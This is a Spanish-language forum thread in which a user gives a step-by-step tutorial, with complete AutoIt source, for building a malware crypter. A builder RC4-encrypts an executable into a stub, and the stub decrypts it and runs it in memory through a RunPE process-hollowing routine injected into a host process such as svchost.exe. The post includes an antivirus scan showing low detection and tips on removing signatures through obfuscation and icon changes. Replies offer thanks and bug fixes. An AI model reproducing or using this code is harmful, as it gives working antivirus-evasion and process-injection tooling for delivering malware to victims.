• Creación de un crypter

 #480497  por Blau
 08 Nov 2015, 02:30
DESCARGAS
[ Debe registrarse para ver este enlace ]
SciTE4AutoIt3.7z (en archivos adjuntos, al final del post)

INTRODUCCIÓN
En este tutorial explicaré de manera breve como crear un crypter en AutoIt de manera sencilla utilizando códigos publicados en este mismo foro. El primer paso es descargar e instalar AutoIt (versión 3.3.8.1) y SciTE (editor principal de scripts de AutoIt). Durante la instalación de SciTE puede que salga un error, no hay de qué preocuparse. No haré una descripción de AutoIt ya que para eso está la página oficial ([ Debe registrarse para ver este enlace ]).

CREANDO EL BUILDER
Una vez instalado todo hay que crear una carpeta donde estarán los scripts de AutoIt (builder y stub). En dicha crearemos un script llamado 'Builder.au3'.


Abrimos el script y pegamos lo siguiente:
#NoTrayIcon ;Línea casi obligatoria en todos los scripts que hagas

;Las siguientes líneas son para el Form que se crea con Koda Designer (CTRL + M ó Tools > Koda(FormDesigner))
#include <ButtonConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
Opt("GUIOnEventMode", 1)
#Region ### START Koda GUI section ### Form=D:\Programación\AutoIt\Tutoriales\[Blau] Crear un crypter\TutoCrypter\Form1.kxf
$Form1 = GUICreate("Form1", 187, 45, 192, 124)
GUISetOnEvent($GUI_EVENT_CLOSE, "Form1Close")
$Button1 = GUICtrlCreateButton("BUSCAR", 8, 8, 75, 25)
GUICtrlSetOnEvent(-1, "Button1Click")
$Button2 = GUICtrlCreateButton("CIFRAR", 96, 8, 75, 25)
GUICtrlSetOnEvent(-1, "Button2Click")
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

Local $sFilePath ;Variable donde se guardará la ruta del archivo
Local $Password = "TutoBlau" ;Contraseña que se usará para cifrar el archivo con RC4
Local $sStubPath = @ScriptDir & "\Stub.exe" ;Ruta al stub. @ScriptDir es una macro para obtener el directorio actual.
Local $Delimiter = "BLAUMOLAMUCHO" ;Delimitador

While 1 ;Bucle que mantiene el Form abierto
	Sleep(100)
WEnd

Func Button1Click() ;Botón buscar
	$sFilePath = FileOpenDialog("Selecciona un archivo para cifrar", @ScriptDir, "EXE (*.exe)") ;Abre un diálogo para seleccionar un archivo y guardar la ruta en la variable $sFilePath
EndFunc

Func Button2Click()
	Local $FileReadHandle = FileOpen($sFilePath, 0) ;Abre el archivo en modo 0 (lectura) > https://www.autoitscript.com/autoit3/docs/functions/FileOpen.htm
	Local $FileRead = FileRead($FileReadHandle) ;Lee el archivo y guarda el contenido en la variable $FileRead
	FileClose($FileReadHandle) ;Cierra el archivo

	Local $StubReadHandle = FileOpen($sStubPath)
	Local $StubRead = FileRead($StubReadHandle)
	FileClose($StubReadHandle)

	$FileRead = RC4($Password, $FileRead) ;Se cifra el archivo con RC4

	Local $Output = $StubRead & $Delimiter & $FileRead

	Local $OutputPath = FileSaveDialog("Elige dónde guardar el archivo cifrado", @ScriptDir, "EXE (*.exe)", DEfault, "cifrado.exe")
	Local $FileWriteHandle = FileOpen($OutputPath, 2); Se usa el modo 2 (OVERWRITE)
	FileWrite($FileWriteHandle, $Output)
	FileClose($FileWriteHandle)

	MsgBox(0, "¡Hecho!", "Archivo cifrado correctamente")
EndFunc

Func Form1Close() ;Función que se ejecutará cuando se cierre el Form
	Exit(1) ;Se cierra la aplicación
EndFunc

Func RC4($key, $value) ;Función RC4
    Local $S[256], $i, $j, $c, $t, $x, $y, $output
    Local $keyLength = BinaryLen($key), $valLength = BinaryLen($value)
    For $i = 0 To 255
        $S[$i] = $i
    Next
    For $i = 0 To 255
        $j = Mod($j + $S[$i] + Dec(StringTrimLeft(BinaryMid($key, Mod($i, $keyLength) + 1, 1), 2)), 256)
        $t = $S[$i]
        $S[$i] = $S[$j]
        $S[$j] = $t
    Next
    For $i = 1 To $valLength
        $x = Mod($x + 1, 256)
        $y = Mod($S[$x] + $y, 256)
        $t = $S[$x]
        $S[$x] = $S[$y]
        $S[$y] = $t
        $j = Mod($S[$x] + $S[$y], 256)
        $c = BitXOR(Dec(StringTrimLeft(BinaryMid($value, $i, 1), 2)), $S[$j])
        $output = Binary($output) & Binary('0x' & Hex($c, 2))
    Next
    Return $output
EndFunc
Ahora pulsamos CTRL + F7 ó 'Tools > Compile' y ahí podréis cambiar cosas como el icono, version info o comprimir con UPX. Elegid a vuestro gusto y compiláis el archivo seleccionando el botón 'Compile script'.

CREANDO EL STUB
Creamos un script nuevo llamado Stub.au3 y pegamos lo siguiente:
#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Run_Obfuscator=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

Local $Stub ;Aquí guardaremos el contenido del stub
Local $File ;Aquí guardaremos el contenido del archivo descifrado
Local $Password = "TutoBlau" ;Contraseña para el RC4
Local $Delimitador = "BLAUMOLAMUCHO" ;Delimitador
Local $Split

Local $StubReadHandle = FileOpen(@ScriptFullPath) ;@ScriptFullPath es una macro para obtener la ruta y nombre del archivo
$Stub = FileRead($StubReadHandle)
FileClose($StubReadHandle)

$File = StringMid($Stub, StringInStr($Stub, $Delimitador) + StringLen($Delimitador)) ;Dividimos el stub a partir del delimitador
$File = RC4($Password, $File) ;Desciframos el archivo

_RunPE($File, "", @ScriptFullPath) ;Llamamos al RunPE


Func RC4($key, $value) ;Función RC4
	Local $S[256], $i, $j, $c, $t, $x, $y, $output
	Local $keyLength = BinaryLen($key), $valLength = BinaryLen($value)
	For $i = 0 To 255
		$S[$i] = $i
	Next
	For $i = 0 To 255
		$j = Mod($j + $S[$i] + Dec(StringTrimLeft(BinaryMid($key, Mod($i, $keyLength) + 1, 1), 2)), 256)
		$t = $S[$i]
		$S[$i] = $S[$j]
		$S[$j] = $t
	Next
	For $i = 1 To $valLength
		$x = Mod($x + 1, 256)
		$y = Mod($S[$x] + $y, 256)
		$t = $S[$x]
		$S[$x] = $S[$y]
		$S[$y] = $t
		$j = Mod($S[$x] + $S[$y], 256)
		$c = BitXOR(Dec(StringTrimLeft(BinaryMid($value, $i, 1), 2)), $S[$j])
		$output = Binary($output) & Binary('0x' & Hex($c, 2))
	Next
	Return $output
EndFunc   ;==>RC4

#cs ----------------------------------------------------------------------------

	AutoIt Version: 3.3.8.1
	Author: Naker90

	Script Function:
	Ejecuta un archivo en memoria sin necesidad de droppearlo en el disco.

	Parametros:
	$byFile => Parametro que contrendra los bytes del archivo a cargar. (Retorno de la funcion "FileRead")
	$szParametros => Posibles parametros del ejecutable.
	$sHost => El nombre del modulo que se va a ejecutar

	Funcional en Windows 7 x64

	Agradecimientos a The_Swash por haber definido los pasos a seguir para la creacion de un RunPE los cuales yo segui para realizar este codigo.
	Tambien agradecer a los autores de varios RunPE que he leido para poder solucionar mis dudas, autores como: M3, Tracexx y Karcark

	Recomiendo pasarle al parametro Host un ejecutable perteneciente a la carpeta "C:\Windows\SysWOW64" por ejemplo "systray.exe"

	Ejemplo de Uso:

	Local $File = "C:\Users\Naker90\Desktop\Anotador Naker90.exe"
	Local $Read = FileRead($File)

	_RunPE($Read, '', @SystemDir & "\svchost.exe")

#ce ----------------------------------------------------------------------------

Func _RunPE($byFile, $szParametros, $sHost)

	;Si el modulo para el createprocess es el propio ejecutable, debemos copilar antes de usar el codigo.
	If $sHost = @ScriptFullPath Then

		If Not @Compiled Then
			MsgBox(16, 'ERROR', 'Compile el script antes de utilizarlo!')
			Return 0
		EndIf

	EndIf

	;Lo primero es crear el puntero
	Local $sFileStruct = DllStructCreate('Byte[' & BinaryLen($byFile) & ']')
	DllStructSetData($sFileStruct, 1, $byFile)

	Local $pPointer = DllStructGetPtr($sFileStruct)

	;Vamos a separar el codigo en 2 partes: 1 La cabecera y 2 La memoria. De esta forma no mezclamos las cosas.
	;------------------------------------------------------------------
	; 1.- Operaciones con la cabezera. En esta parta vamos a sacar gran parte de los datos relacionados con la cabecera que nos serviran posteriormente.
	;------------------------------------------------------------------

	;Creamos la estructura para los datos que contiene el IMAGE_DOS_STRUCT
	Local $sDOS_Struct = DllStructCreate('WORD e_magic;WORD e_cblp;WORD e_cp;WORD e_crlc;WORD e_cparhdr;WORD e_minalloc;WORD e_maxalloc;WORD e_ss;WORD e_sp;WORD e_csum;WORD e_ip;WORD e_cs;WORD e_lfarlc;WORD e_ovno;WORD e_res[4];WORD e_oemid;WORD e_oeminfo;WORD e_res2[10];WORD e_lfanew', $pPointer)

	;Si el archvo con tiene el "MZ" propio de los archivos ejecutables continuamos con el codigo, de lo contrario lanzamos un mensaje y retornamos 0
	If DllStructGetData($sDOS_Struct, 'e_magic') = 23117 Then

		;Le sumamos al puntero el valor de "PE/0x/0x"
		$pPointer += DllStructGetData($sDOS_Struct, 'e_lfanew')

		;Creamos la estructura IMAGE_NT_HEADER para poder utilizar posteriormente IMAGE_FILE_STRUCT y IMAGE_OPTIONAL_HEADER
		Local $sNT_Struct = DllStructCreate('DWORD signature;CHAR IMAGE_FILE_HEADER[20];CHAR IMAGE_OPTIONAL_HEADER[224]', $pPointer)

		;Creamos la structura IMAGE_FILE_HEADER y le pasamos el puntero de elemento 2 de la structura IMAGE_NT_HEADER. De aqui vamos a sacar el numero de secciones.
		Local $sFile_Struct = DllStructCreate('WORD Machine;WORD NumberOfSections;DWORD TimeDateStamp;DWORD PointerToSymbolTable;DWORD NumberOfSymbols;WORD SizeOfOptionalHeader;WORD Characteristics;', DllStructGetPtr($sNT_Struct, 'IMAGE_FILE_HEADER'))
		Local $wNumberOfSection = DllStructGetData($sFile_Struct, 'NumberOfSections')

		;Ahora vamos a crear la structura del IMAGE_OPTIONAL_HEADER de la cual sacaremos los datos de: ImageBase, SizeOfImage, EntryPoint y el SizeOfHeaders.
		Local $sOptional_Struct = DllStructCreate('WORD magic;BYTE majorlinkerversion;BYTE minorlinkerversion;DWORD sizeofcode;DWORD sizeofinitializeddata;DWORD sizeofuninitializeddata;DWORD addressofentrypoint;DWORD baseofcode;DWORD baseofdata;DWORD imagebase;DWORD sectionalignment;DWORD filealignment;WORD majoroperatingsystemversion;WORD minoroperatingsystemversion;WORD majorimageversion;WORD minorimageversion;WORD majoresubsystemversion;WORD minorsubsystemversion;DWORD win32versionvalue;DWORD sizeofimage;DWORD sizeofheaders;DWORD checksum;WORD subsystem;WORD dllcharacteristics;DWORD sizeofstackreserve;DWORD sizeofstackcommit;DWORD sizeofheapcommit;DWORD loaderflags;DWORD numberofrvaandsizes;DOUBLE datadirectory[16]', DllStructGetPtr($sNT_Struct, 'IMAGE_OPTIONAL_HEADER'))
		Local $dwImageBase = DllStructGetData($sOptional_Struct, 'imagebase')
		Local $dSizeOfImage = DllStructGetData($sOptional_Struct, 'sizeofimage')
		Local $dEntryPoint = DllStructGetData($sOptional_Struct, 'addressofentrypoint')
		Local $dSizeOfHeaders = DllStructGetData($sOptional_Struct, 'sizeofheaders')

		;Sumamos al puntero el tamaño del IMAGE_OPTIONAL_HEADER y 24 que es el tamaño de la IT(Import Table)
		$pPointer += (DllStructGetData($sFile_Struct, 'SizeOfOptionalHeader') + 24)

		;------------------------------------------------------------------
		; 2.- La Memoria. En esta parte vamos a realizar todas las operaciones con la memoria.
		;------------------------------------------------------------------

		;Creamos las structuras StartUpInfo y ProcessInformation que luego necesitaremos para crear el proceso.
		Local $sStartUpInfo = DllStructCreate('dword cbSize;ptr Reserved;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;dword YCountChars;dword FillAttribute;dword Flags;ushort ShowWindow;ushort Reserved2;ptr Reserved2;ptr hStdInput;ptr hStdOutput;ptr hStdError')
		Local $sProcessInfo = DllStructCreate('handle hProcess;handle hThread;dword  dwProcessId;dword  dwThreadId')

		;Lo primero es crear el proceso suspendido tirando de la API "CreateProcess". Podemos ejecutar el proceso suspendido en nuestra propia instacia o en la de otro proceso.
		Local $iCreateProcess = DllCall('Kernel32.dll', 'Bool', 'CreateProcessW', 'Wstr', $sHost, 'Wstr', $szParametros, 'Ptr', 0, 'Ptr', 0, 'Bool', False, 'Dword', 4, 'Ptr', 0, 'Ptr', 0, 'Ptr', DllStructGetPtr($sStartUpInfo), 'Ptr', DllStructGetPtr($sProcessInfo))

		;Obtenemos el valor del "hThread" y "hProcess" de la estructura ProcessInfo que nos servira luego para trabajar con la API "NtGetContextThread" y "VirtualAllocEx".
		Local $hThread = DllStructGetData($sProcessInfo, 'hThread')
		Local $hProcess = DllStructGetData($sProcessInfo, 'hProcess')

		;Limpiamos el ejecutable del proceso antes de reservar memoria, esto lo vamos a hacer con la API "NtUnmapViewOfSection"
		Local $iUnMapSection = DllCall('Ntdll.dll', 'Int', 'NtUnmapViewOfSection', 'Ptr', $hProcess, 'Ptr', $dwImageBase)

		;Obtenemos los contextos (Registros) con la estructura CONTEXT y establecemos la bandera con el valor 0x10007
		Local $sContext_Struct = DllStructCreate('dword ContextFlags;dword Dr0; dword Dr1; dword Dr2; dword Dr3; dword Dr6; dword Dr7;dword ControlWord; dword StatusWord; dword TagWord; dword ErrorOffset; dword ErrorSelector; dword DataOffset; dword DataSelector; byte RegisterArea[80]; dword Cr0NpxState;dword SegGs; dword SegFs; dword SegEs; dword SegDs;dword Edi; dword Esi; dword Ebx; dword Edx; dword Ecx; dword Eax;dword Ebp; dword Eip; dword SegCs; dword EFlags; dword Esp; dword SegSs;byte ExtendedRegisters[512]')
		DllStructSetData($sContext_Struct, 1, 0x10007)

		;Obtenemos el context con la API "GetContextThread"
		Local $iGetContextThread = DllCall('Kernel32.dll', 'Int', 'GetThreadContext', 'Handle', $hThread, 'Ptr', DllStructGetPtr($sContext_Struct))

		;Reservamos memoria con VirtualAllocEx
		Local $pVirtualAlloc = DllCall('Kernel32.dll', 'Ptr', 'VirtualAllocEx', 'Handle', $hProcess, 'Ptr', $dwImageBase, 'Dword', $dSizeOfImage, 'Dword', 0x3000, 'Dword', 0x40)

		;Escribimos en el proceso la cabecera.
		Local $iWriteProcessFirst = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', $dwImageBase, 'Ptr', DllStructGetPtr($sDOS_Struct), 'Ulong_Ptr', $dSizeOfHeaders, 'Dword', 0)

		;Escribimos las cabeceras en la memoria que acabamos de reservar.
		For $i = 1 To $wNumberOfSection

			;Creamos la estructura para las secciones. En este momento nos encontramos en la primera seccion.
			Local $sSection_Struct = DllStructCreate('char Name[8];dword UnionOfVirtualSizeAndPhysicalAddress;dword VirtualAddress;dword SizeOfRawData;dword PointerToRawData;dword PointerToRelocations;dword PointerToLinenumbers;ushort NumberOfRelocations;ushort NumberOfLinenumbers;dword Characteristics', $pPointer)

			;Obtenemos los datos de las seccion necesarios para escribirlos en memoria
			Local $dVirtualAddress = ($dwImageBase + DllStructGetData($sSection_Struct, 'VirtualAddress'))
			Local $dSizeOfRawData = DllStructGetData($sSection_Struct, 'SizeOfRawData')
			Local $dPointerToRawData = (DllStructGetPtr($sDOS_Struct) + DllStructGetData($sSection_Struct, 'PointerToRawData'))

			;Escribimos los datos con "WriteProcessMemory"
			Local $iWriteProcessSecond = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', $dVirtualAddress, 'Ptr', $dPointerToRawData, 'Ulong_Ptr', $dSizeOfRawData, 'Dword', 0)

			;Le sumamos al puntero 40 que es el valor de la estructutura IMAGE_SECTION_HEADER entera.
			$pPointer += 40

		Next

		;Modificamos el EntryPoint sumandole al actual el valor del ImageBase.
		Local $dModEntryPoint = $dwImageBase + $dEntryPoint
		DllStructSetData($sContext_Struct, 'Eax', $dModEntryPoint)

		;Modificamos EBX + 8 por el ImageBase del ejecutable a cargar.
		Local $dNewEBX = (DllStructGetData($sContext_Struct, 'Ebx') + 8)
		Local $iWriteVirtualMemory = DllCall('Kernel32.dll', 'Int', 'WriteProcessMemory', 'Handle', $hProcess, 'Ptr', $dNewEBX, 'Ptr*', $dwImageBase, 'Ulong_Ptr', 4, 'Dword', 0)

		;Le asignamos al proceso los regsitros con la API "SetThreadContext" y luego arrancamos el proceso con "ResumeThread".
		Local $iSetThread = DllCall('Kernel32.dll', 'Int', 'SetThreadContext', 'Handle', $hThread, 'Ptr', DllStructGetPtr($sContext_Struct))
		Local $dResume = DllCall('Kernel32.dll', 'Dword', 'ResumeThread', 'Handle', $hThread)

	Else
		MsgBox(16, 'ERROR', 'Este archivo no es un ejecutable!')
		Return 0
	EndIf

EndFunc   ;==>_RunPE
Compilamos el script igual que el builder y voilà, crypter creado.

NOTAS
El crypter obviamente no es FUD porque he utilizado códigos/métodos públicos, aún así tiene una detección bastante baja. Adjunto un scan del stub.
[Info]
Fecha del reporte: Sun, 08 Nov 2015 01:22:31 +0000
Archivo: Stub.exe
Tamaño: 654187 bytes
MD5: fecf89bdc9723687589a178f4f6cf1e3
Estado: Infectado
Detecciones: 6 de 35 (17%)
Reporte: [ Debe registrarse para ver este enlace ]
Reporte generado por [ Debe registrarse para ver este enlace ]

[Detecciones]
A-Squared - Clean
AVG Free - Clean
Ad-Aware - Clean
AntiVir (Avira) - Clean
Avast - AutoIt:Injector-G [Trj]
BitDefender - Clean
BullGuard - Clean
COMODO Internet Security - Clean
Clam Antivirus - Clean
Dr.Web - Clean
ESET NOD32 - Clean
F-PROT Antivirus - Clean
F-Secure Internet Security - Clean
FortiClient - Clean
G Data - Clean
IKARUS Security - Clean
K7 Ultimate - Trojan ( 700000111 )
Kaspersky Antivirus - Clean
MS Security Essentials - Trojan:Win32/Toga!rfn
McAfee - Clean
NANO Antivirus - Clean
Norman - Clean
Norton Antivirus - Clean
Panda CommandLine - Clean
Panda Security - Clean
Quick Heal Antivirus - Suspicious
SUPERAntiSpyware - Clean
Solo Antivirus - Clean
Sophos - Clean
Trend Micro Internet Security - Clean
Twister Antivirus - Clean
VBA32 Antivirus - infected Trojan.Autoit.Injcrypt
VIPRE - Trojan.Win32.Generic=21BT
Zoner AntiVirus - Clean
eTrust-Vet - Clean

Podrían irse algunas firmas al utilizar un icono diferente, cambiar el version info, no utilizar UPX, etc. Sin embargo, hay una herramienta muy útil en SciTE que podría ahorrarnos algunos dolores de cabeza. A la hora de compilar (CTRL + F7 ó Tools > Compile), en la pestaña Obfuscator activaremos el check 'Run obfuscator before compilation'. En algunos casos añadirá firmas y en otros las quitará, todo es cuestión de probar.

AGRADECIMIENTOS
  • Al autor de la función de RC4
    Naker90 por el RunPE
    Pink por las futuras correcciones
Adjuntos
(5.99 MiB) Descargado 250 veces
 #480508  por Jscript32
 08 Nov 2015, 14:42
Te quiero blau <3
 #480521  por SadFud
 08 Nov 2015, 19:39
Enzyme escribió:Alright HF kids burning Autoit Incoming.......

You know that jajajajaj

Buen aporte blau
 #480622  por Blau
 11 Nov 2015, 20:11
Gracias a @nikenike4 y @Jscript32 por avisarme que había errores en el stub, ya está arreglado.
 #480649  por fsinatra
 12 Nov 2015, 16:37
El cliente tiene varios fallos mas pero son los mismos , pulsar F5 y en la linea donde da el error borrar el ";" y listo..
fsinatra escribió:



Borrando lo que he señalado se arregla
 #480654  por Blau
 12 Nov 2015, 17:28
El problema con los ; no era del código que subí sino de la etiqueta 'code' (los añadía automáticamente no sé por qué). He cambiado el lenguaje de la etiqueta 'code' de autohotkey a vbnet.